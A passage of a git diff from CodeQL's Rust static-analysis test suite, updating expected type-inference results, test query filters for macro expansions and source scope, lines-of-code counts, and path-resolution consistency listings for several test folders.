main.rs:1560:34:1560:38 | 49i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1561:9:1561:22 | i64_shl_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1561:9:1561:32 | ... <<= ... | | file://:0:0:0:0 | () | +| main.rs:1561:28:1561:32 | 50i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1563:13:1563:30 | mut i64_shr_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1563:34:1563:38 | 51i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1564:9:1564:22 | i64_shr_assign | | {EXTERNAL LOCATION} | i64 | +| main.rs:1564:9:1564:32 | ... >>= ... | | file://:0:0:0:0 | () | +| main.rs:1564:28:1564:32 | 52i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1566:13:1566:19 | i64_neg | | {EXTERNAL LOCATION} | i64 | +| main.rs:1566:23:1566:28 | - ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1566:24:1566:28 | 53i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1567:13:1567:19 | i64_not | | {EXTERNAL LOCATION} | i64 | +| main.rs:1567:23:1567:28 | ! ... | | {EXTERNAL LOCATION} | i64 | +| main.rs:1567:24:1567:28 | 54i64 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1570:13:1570:14 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1570:18:1570:36 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1570:28:1570:28 | 1 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1570:28:1570:28 | 1 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1570:34:1570:34 | 2 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1570:34:1570:34 | 2 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1571:13:1571:14 | v2 | | file://:0:0:0:0 | & | +| main.rs:1571:13:1571:14 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1571:13:1571:14 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1571:18:1571:36 | Vec2 {...} | | file://:0:0:0:0 | & | +| main.rs:1571:18:1571:36 | Vec2 {...} | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1571:18:1571:36 | Vec2 {...} | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1571:28:1571:28 | 3 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1571:28:1571:28 | 3 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1571:34:1571:34 | 4 | | {EXTERNAL LOCATION} | i32 | +| main.rs:1571:34:1571:34 | 4 | | {EXTERNAL LOCATION} | i64 | +| main.rs:1574:13:1574:19 | vec2_eq | | {EXTERNAL LOCATION} | bool | +| main.rs:1574:23:1574:24 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1574:23:1574:30 | ... == ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1574:29:1574:30 | v2 | | file://:0:0:0:0 | & | +| main.rs:1574:29:1574:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1574:29:1574:30 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1575:13:1575:19 | vec2_ne | | {EXTERNAL LOCATION} | bool | +| main.rs:1575:23:1575:24 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1575:23:1575:30 | ... != ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1575:29:1575:30 | v2 | | file://:0:0:0:0 | & | +| main.rs:1575:29:1575:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1575:29:1575:30 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1576:13:1576:19 | vec2_lt | | {EXTERNAL LOCATION} | bool | +| main.rs:1576:23:1576:24 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1576:23:1576:29 | ... < ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1576:28:1576:29 | v2 | | file://:0:0:0:0 | & | +| main.rs:1576:28:1576:29 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1576:28:1576:29 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1577:13:1577:19 | vec2_le | | {EXTERNAL LOCATION} | bool | +| main.rs:1577:23:1577:24 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1577:23:1577:30 | ... <= ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1577:29:1577:30 | v2 | | file://:0:0:0:0 | & | +| main.rs:1577:29:1577:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1577:29:1577:30 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1578:13:1578:19 | vec2_gt | | {EXTERNAL LOCATION} | bool | +| main.rs:1578:23:1578:24 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1578:23:1578:29 | ... > ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1578:28:1578:29 | v2 | | file://:0:0:0:0 | & | +| main.rs:1578:28:1578:29 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1578:28:1578:29 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1579:13:1579:19 | vec2_ge | | {EXTERNAL LOCATION} | bool | +| main.rs:1579:23:1579:24 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1579:23:1579:30 | ... >= ... | | {EXTERNAL LOCATION} | bool | +| main.rs:1579:29:1579:30 | v2 | | file://:0:0:0:0 | & | +| main.rs:1579:29:1579:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1579:29:1579:30 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1582:13:1582:20 | vec2_add | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1582:24:1582:25 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1582:24:1582:30 | ... + ... | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1582:29:1582:30 | v2 | | file://:0:0:0:0 | & | +| main.rs:1582:29:1582:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1582:29:1582:30 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1583:13:1583:20 | vec2_sub | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1583:24:1583:25 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1583:24:1583:30 | ... - ... | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1583:29:1583:30 | v2 | | file://:0:0:0:0 | & | +| main.rs:1583:29:1583:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1583:29:1583:30 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1584:13:1584:20 | vec2_mul | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1584:24:1584:25 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1584:24:1584:30 | ... * ... | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1584:29:1584:30 | v2 | | file://:0:0:0:0 | & | +| main.rs:1584:29:1584:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1584:29:1584:30 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1585:13:1585:20 | vec2_div | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1585:24:1585:25 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1585:24:1585:30 | ... / ... | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1585:29:1585:30 | v2 | | file://:0:0:0:0 | & | +| main.rs:1585:29:1585:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1585:29:1585:30 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1586:13:1586:20 | vec2_rem | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1586:24:1586:25 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1586:24:1586:30 | ... % ... | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1586:29:1586:30 | v2 | | file://:0:0:0:0 | & | +| main.rs:1586:29:1586:30 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1586:29:1586:30 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1589:13:1589:31 | mut vec2_add_assign | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1589:35:1589:36 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1590:9:1590:23 | vec2_add_assign | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1590:9:1590:29 | ... += ... | | file://:0:0:0:0 | () | +| main.rs:1590:28:1590:29 | v2 | | file://:0:0:0:0 | & | +| main.rs:1590:28:1590:29 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1590:28:1590:29 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1592:13:1592:31 | mut vec2_sub_assign | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1592:35:1592:36 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1593:9:1593:23 | vec2_sub_assign | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1593:9:1593:29 | ... -= ... | | file://:0:0:0:0 | () | +| main.rs:1593:28:1593:29 | v2 | | file://:0:0:0:0 | & | +| main.rs:1593:28:1593:29 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1593:28:1593:29 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1595:13:1595:31 | mut vec2_mul_assign | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1595:35:1595:36 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1596:9:1596:23 | vec2_mul_assign | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1596:9:1596:29 | ... *= ... | | file://:0:0:0:0 | () | +| main.rs:1596:28:1596:29 | v2 | | file://:0:0:0:0 | & | +| main.rs:1596:28:1596:29 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1596:28:1596:29 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1598:13:1598:31 | mut vec2_div_assign | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1598:35:1598:36 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1599:9:1599:23 | vec2_div_assign | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1599:9:1599:29 | ... /= ... | | file://:0:0:0:0 | () | +| main.rs:1599:28:1599:29 | v2 | | file://:0:0:0:0 | & | +| main.rs:1599:28:1599:29 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1599:28:1599:29 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1601:13:1601:31 | mut vec2_rem_assign | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1601:35:1601:36 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1602:9:1602:23 | vec2_rem_assign | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1602:9:1602:29 | ... %= ... | | file://:0:0:0:0 | () | +| main.rs:1602:28:1602:29 | v2 | | file://:0:0:0:0 | & | +| main.rs:1602:28:1602:29 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1602:28:1602:29 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1605:13:1605:23 | vec2_bitand | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1605:27:1605:28 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1605:27:1605:33 | ... & ... | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1605:32:1605:33 | v2 | | file://:0:0:0:0 | & | +| main.rs:1605:32:1605:33 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1605:32:1605:33 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1606:13:1606:22 | vec2_bitor | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1606:26:1606:27 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1606:26:1606:32 | ... \| ... | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1606:31:1606:32 | v2 | | file://:0:0:0:0 | & | +| main.rs:1606:31:1606:32 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1606:31:1606:32 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1607:13:1607:23 | vec2_bitxor | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1607:27:1607:28 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1607:27:1607:33 | ... ^ ... | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1607:32:1607:33 | v2 | | file://:0:0:0:0 | & | +| main.rs:1607:32:1607:33 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1607:32:1607:33 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1608:13:1608:20 | vec2_shl | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1608:24:1608:25 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1608:24:1608:33 | ... << ... | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1608:30:1608:33 | 1u32 | | {EXTERNAL LOCATION} | u32 | +| main.rs:1609:13:1609:20 | vec2_shr | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1609:24:1609:25 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1609:24:1609:33 | ... >> ... | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1609:30:1609:33 | 1u32 | | {EXTERNAL LOCATION} | u32 | +| main.rs:1612:13:1612:34 | mut vec2_bitand_assign | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1612:38:1612:39 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1613:9:1613:26 | vec2_bitand_assign | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1613:9:1613:32 | ... &= ... | | file://:0:0:0:0 | () | +| main.rs:1613:31:1613:32 | v2 | | file://:0:0:0:0 | & | +| main.rs:1613:31:1613:32 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1613:31:1613:32 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1615:13:1615:33 | mut vec2_bitor_assign | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1615:37:1615:38 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1616:9:1616:25 | vec2_bitor_assign | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1616:9:1616:31 | ... \|= ... | | file://:0:0:0:0 | () | +| main.rs:1616:30:1616:31 | v2 | | file://:0:0:0:0 | & | +| main.rs:1616:30:1616:31 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1616:30:1616:31 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1618:13:1618:34 | mut vec2_bitxor_assign | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1618:38:1618:39 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1619:9:1619:26 | vec2_bitxor_assign | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1619:9:1619:32 | ... ^= ... | | file://:0:0:0:0 | () | +| main.rs:1619:31:1619:32 | v2 | | file://:0:0:0:0 | & | +| main.rs:1619:31:1619:32 | v2 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1619:31:1619:32 | v2 | &T | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1621:13:1621:31 | mut vec2_shl_assign | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1621:35:1621:36 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1622:9:1622:23 | vec2_shl_assign | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1622:9:1622:32 | ... <<= ... | | file://:0:0:0:0 | () | +| main.rs:1622:29:1622:32 | 1u32 | | {EXTERNAL LOCATION} | u32 | +| main.rs:1624:13:1624:31 | mut vec2_shr_assign | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1624:35:1624:36 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1625:9:1625:23 | vec2_shr_assign | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1625:9:1625:32 | ... >>= ... | | file://:0:0:0:0 | () | +| main.rs:1625:29:1625:32 | 1u32 | | {EXTERNAL LOCATION} | u32 | +| main.rs:1628:13:1628:20 | vec2_neg | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1628:24:1628:26 | - ... | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1628:25:1628:26 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1629:13:1629:20 | vec2_not | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1629:24:1629:26 | ! ... | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1629:25:1629:26 | v1 | | main.rs:1278:5:1283:5 | Vec2 | +| main.rs:1635:5:1635:20 | ...::f(...) | | main.rs:67:5:67:21 | Foo | +| main.rs:1636:5:1636:60 | ...::g(...) | | main.rs:67:5:67:21 | Foo | +| main.rs:1636:20:1636:38 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | +| main.rs:1636:41:1636:59 | ...::Foo {...} | | main.rs:67:5:67:21 | Foo | +testFailures diff --git a/rust/ql/test/library-tests/type-inference/type-inference.ql b/rust/ql/test/library-tests/type-inference/type-inference.ql index 2652699558ff..e7c11bcaebf1 100644 --- a/rust/ql/test/library-tests/type-inference/type-inference.ql +++ b/rust/ql/test/library-tests/type-inference/type-inference.ql @@ -5,16 +5,18 @@ import TypeInference query predicate inferType(AstNode n, TypePath path, Type t) { t = TypeInference::inferType(n, path) and - n.fromSource() + n.fromSource() and + not n.isFromMacroExpansion() } module ResolveTest implements TestSig { string getARelevantTag() { result = ["method", "fieldof"] } private predicate functionHasValue(Function f, string value) { - f.getAPrecedingComment().getCommentText() = value + f.getAPrecedingComment().getCommentText() = value and + f.fromSource() or - not exists(f.getAPrecedingComment()) and + not any(f.getAPrecedingComment()).fromSource() and // TODO: Default to canonical path once that is available value = f.getName().getText() } @@ -22,9 +24,11 @@ module ResolveTest implements TestSig { predicate hasActualResult(Location location, string element, string tag, string value) { exists(AstNode source, AstNode target | location = source.getLocation() and - element = source.toString() + element = source.toString() and + source.fromSource() and + not source.isFromMacroExpansion() | - target = resolveMethodCallExpr(source) and + target = resolveMethodCallTarget(source) and functionHasValue(target, value) and tag = "method" or diff --git a/rust/ql/test/library-tests/type-inference/type-inference.qlref b/rust/ql/test/library-tests/type-inference/type-inference.qlref new file mode 100644 index 000000000000..03d8a9288aab --- /dev/null +++ b/rust/ql/test/library-tests/type-inference/type-inference.qlref @@ -0,0 +1,2 @@ +query: type-inference.ql +postprocess: utils/test/ExternalLocationPostProcessing.ql \ No newline at end of file diff --git a/rust/ql/test/library-tests/variables/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/library-tests/variables/CONSISTENCY/PathResolutionConsistency.expected new file mode 100644 index 000000000000..e4c5c7393e43 --- /dev/null +++ b/rust/ql/test/library-tests/variables/CONSISTENCY/PathResolutionConsistency.expected @@ -0,0 +1,9 @@ +multipleMethodCallTargets +| main.rs:374:5:374:27 | ... .add_assign(...) | file://:0:0:0:0 | fn add_assign | +| main.rs:374:5:374:27 | ... .add_assign(...) | file://:0:0:0:0 | fn add_assign | +| main.rs:374:5:374:27 | ... .add_assign(...) | file://:0:0:0:0 | fn add_assign | +| main.rs:374:5:374:27 | ... .add_assign(...) | file://:0:0:0:0 | fn add_assign | +| main.rs:459:9:459:23 | z.add_assign(...) | file://:0:0:0:0 | fn add_assign | +| main.rs:459:9:459:23 | z.add_assign(...) | file://:0:0:0:0 | fn add_assign | +| main.rs:459:9:459:23 | z.add_assign(...) | file://:0:0:0:0 | fn add_assign | +| main.rs:459:9:459:23 | z.add_assign(...) | file://:0:0:0:0 | fn add_assign | diff --git a/rust/ql/test/library-tests/variables/Ssa.ql b/rust/ql/test/library-tests/variables/Ssa.ql index c972bb2747cd..d93a1f13b649 100644 --- a/rust/ql/test/library-tests/variables/Ssa.ql +++ b/rust/ql/test/library-tests/variables/Ssa.ql @@ -4,31 +4,38 @@ import codeql.rust.controlflow.ControlFlowGraph import codeql.rust.dataflow.Ssa import codeql.rust.dataflow.internal.SsaImpl import Impl::TestAdjacentRefs as RefTest +import TestUtils -query predicate definition(Ssa::Definition def, Variable v) { def.getSourceVariable() = v } +query predicate definition(Ssa::Definition def, Variable v) { + toBeTested(v.getEnclosingCfgScope()) and def.getSourceVariable() = v +} query predicate read(Ssa::Definition def, Variable v, CfgNode read) { - def.getSourceVariable() = v and read = def.getARead() + toBeTested(v.getEnclosingCfgScope()) and def.getSourceVariable() = v and read = def.getARead() } query predicate firstRead(Ssa::Definition def, Variable v, CfgNode read) { - def.getSourceVariable() = v and read = def.getAFirstRead() + toBeTested(v.getEnclosingCfgScope()) and + def.getSourceVariable() = v and + read = def.getAFirstRead() } query predicate adjacentReads(Ssa::Definition def, Variable v, CfgNode read1, CfgNode read2) { + toBeTested(v.getEnclosingCfgScope()) and def.getSourceVariable() = v and def.hasAdjacentReads(read1, read2) } query predicate phi(Ssa::PhiDefinition phi, Variable v, Ssa::Definition input) { - phi.getSourceVariable() = v and input = phi.getAnInput() + toBeTested(v.getEnclosingCfgScope()) and phi.getSourceVariable() = v and input = phi.getAnInput() } query predicate phiReadNode(RefTest::Ref phi, Variable v) { - phi.isPhiRead() and phi.getSourceVariable() = v + toBeTested(v.getEnclosingCfgScope()) and phi.isPhiRead() and phi.getSourceVariable() = v } query predicate phiReadNodeFirstRead(RefTest::Ref phi, Variable v, CfgNode read) { + toBeTested(v.getEnclosingCfgScope()) and exists(RefTest::Ref r, BasicBlock bb, int i | phi.isPhiRead() and RefTest::adjacentRefRead(phi, r) and diff --git a/rust/ql/test/library-tests/variables/variables.ql b/rust/ql/test/library-tests/variables/variables.ql index 121975c0c820..dbde4f56e858 100644 --- a/rust/ql/test/library-tests/variables/variables.ql +++ b/rust/ql/test/library-tests/variables/variables.ql @@ -1,29 +1,39 @@ import rust import utils.test.InlineExpectationsTest import codeql.rust.elements.internal.VariableImpl::Impl as VariableImpl +import TestUtils -query predicate variable(Variable v) { any() } +query predicate variable(Variable v) { toBeTested(v.getEnclosingCfgScope()) } -query predicate variableAccess(VariableAccess va, Variable v) { v = va.getVariable() } +query predicate variableAccess(VariableAccess va, Variable v) { + variable(v) and toBeTested(va) and v = va.getVariable() +} -query predicate variableWriteAccess(VariableWriteAccess va, Variable v) { v = va.getVariable() } +query predicate variableWriteAccess(VariableWriteAccess va, Variable v) { + variable(v) and toBeTested(va) and v = va.getVariable() +} -query predicate variableReadAccess(VariableReadAccess va, Variable v) { v = va.getVariable() } +query predicate variableReadAccess(VariableReadAccess va, Variable v) { + variable(v) and toBeTested(va) and v = va.getVariable() +} -query predicate variableInitializer(Variable v, Expr e) { e = v.getInitializer() } +query predicate variableInitializer(Variable v, Expr e) { + variable(v) and toBeTested(e) and e = v.getInitializer() +} -query predicate capturedVariable(Variable v) { v.isCaptured() } +query predicate capturedVariable(Variable v) { variable(v) and v.isCaptured() } -query predicate capturedAccess(VariableAccess va) { va.isCapture() } +query predicate capturedAccess(VariableAccess va) { toBeTested(va) and va.isCapture() } query predicate nestedFunctionAccess(VariableImpl::NestedFunctionAccess nfa, Function f) { - f = nfa.getFunction() + toBeTested(f) and f = nfa.getFunction() } module VariableAccessTest implements TestSig { string getARelevantTag() { result = ["", "write_", "read_"] + "access" } private predicate declAt(Variable v, string filepath, int line, boolean inMacro) { + variable(v) and v.getLocation().hasLocationInfo(filepath, _, _, line, _) and if v.getPat().isInMacroExpansion() then inMacro = true else inMacro = false } @@ -46,6 +56,7 @@ module VariableAccessTest implements TestSig { predicate hasActualResult(Location location, string element, string tag, string value) { exists(VariableAccess va | + toBeTested(va) and location = va.getLocation() and element = va.toString() and decl(va.getVariable(), value) diff --git a/rust/ql/test/query-tests/diagnostics/LinesOfCode.expected b/rust/ql/test/query-tests/diagnostics/LinesOfCode.expected index 76e48043d0d4..5fa7b20e01bb 100644 --- a/rust/ql/test/query-tests/diagnostics/LinesOfCode.expected +++ b/rust/ql/test/query-tests/diagnostics/LinesOfCode.expected @@ -1 +1 @@ -| 77 | +| 60 | diff --git a/rust/ql/test/query-tests/diagnostics/SummaryStatsReduced.expected b/rust/ql/test/query-tests/diagnostics/SummaryStatsReduced.expected index 793ed90a482a..ed21d9772fce 100644 --- a/rust/ql/test/query-tests/diagnostics/SummaryStatsReduced.expected +++ b/rust/ql/test/query-tests/diagnostics/SummaryStatsReduced.expected @@ -9,7 +9,7 @@ | Inconsistencies - Path resolution | 0 | | Inconsistencies - SSA | 0 | | Inconsistencies - data flow | 0 | -| Lines of code extracted | 77 | +| Lines of code extracted | 60 | | Lines of user code extracted | 60 | | Macro calls - resolved | 8 | | Macro calls - total | 9 | diff --git a/rust/ql/test/query-tests/security/CWE-022/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/query-tests/security/CWE-022/CONSISTENCY/PathResolutionConsistency.expected index 03a2899da095..88e64c648bcf 100644 --- a/rust/ql/test/query-tests/security/CWE-022/CONSISTENCY/PathResolutionConsistency.expected +++ b/rust/ql/test/query-tests/security/CWE-022/CONSISTENCY/PathResolutionConsistency.expected @@ -39,3 +39,16 @@ multiplePathResolutions | src/main.rs:53:38:53:50 | ...::from | file://:0:0:0:0 | fn from | | src/main.rs:53:38:53:50 | ...::from | file://:0:0:0:0 | fn from | | src/main.rs:53:38:53:50 | ...::from | file://:0:0:0:0 | fn from | +multipleCanonicalPaths +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | fn to_ordering | file://:0:0:0:0 | Crate(typenum@1.18.0) | ::to_ordering | +| file://:0:0:0:0 | impl Ord for Equal { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Equal { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Greater { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Greater { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Less { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | +| file://:0:0:0:0 | impl Ord for Less { ... } | file://:0:0:0:0 | Crate(typenum@1.18.0) | | diff --git a/rust/ql/test/query-tests/security/CWE-089/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/query-tests/security/CWE-089/CONSISTENCY/PathResolutionConsistency.expected index 857bfe313800..ea9e17f0c1d4 100644 --- a/rust/ql/test/query-tests/security/CWE-089/CONSISTENCY/PathResolutionConsistency.expected +++ b/rust/ql/test/query-tests/security/CWE-089/CONSISTENCY/PathResolutionConsistency.expected @@ -1,13 +1,23 @@ -multipleMethodCallTargets -| sqlx.rs:69:30:69:52 | unsafe_query_2.as_str() | file://:0:0:0:0 | fn as_str | -| sqlx.rs:69:30:69:52 | unsafe_query_2.as_str() | file://:0:0:0:0 | fn as_str | -| sqlx.rs:69:30:69:52 | unsafe_query_2.as_str() | file://:0:0:0:0 | fn as_str | -| sqlx.rs:69:30:69:52 | unsafe_query_2.as_str() | file://:0:0:0:0 | fn as_str | -| sqlx.rs:69:30:69:52 | unsafe_query_2.as_str() | file://:0:0:0:0 | fn as_str | -| sqlx.rs:69:30:69:52 | unsafe_query_2.as_str() | file://:0:0:0:0 | fn as_str | -| sqlx.rs:80:29:80:51 | unsafe_query_2.as_str() | file://:0:0:0:0 | fn as_str | -| sqlx.rs:80:29:80:51 | unsafe_query_2.as_str() | file://:0:0:0:0 | fn as_str | -| sqlx.rs:80:29:80:51 | unsafe_query_2.as_str() | file://:0:0:0:0 | fn as_str | -| sqlx.rs:80:29:80:51 | unsafe_query_2.as_str() | file://:0:0:0:0 | fn as_str | -| sqlx.rs:80:29:80:51 | unsafe_query_2.as_str() | file://:0:0:0:0 | fn as_str | -| sqlx.rs:80:29:80:51 | unsafe_query_2.as_str() | file://:0:0:0:0 | fn as_str | +multipleCanonicalPaths +| file://:0:0:0:0 | fn encode | file://:0:0:0:0 | Crate(core@0.0.0) | ::encode | +| file://:0:0:0:0 | fn encode | file://:0:0:0:0 | Crate(core@0.0.0) | ::encode | +| file://:0:0:0:0 | fn encode_by_ref | file://:0:0:0:0 | Crate(core@0.0.0) | ::encode_by_ref | +| file://:0:0:0:0 | fn encode_by_ref | file://:0:0:0:0 | Crate(core@0.0.0) | ::encode_by_ref | +| file://:0:0:0:0 | fn produces | file://:0:0:0:0 | Crate(core@0.0.0) | ::produces | +| file://:0:0:0:0 | fn produces | file://:0:0:0:0 | 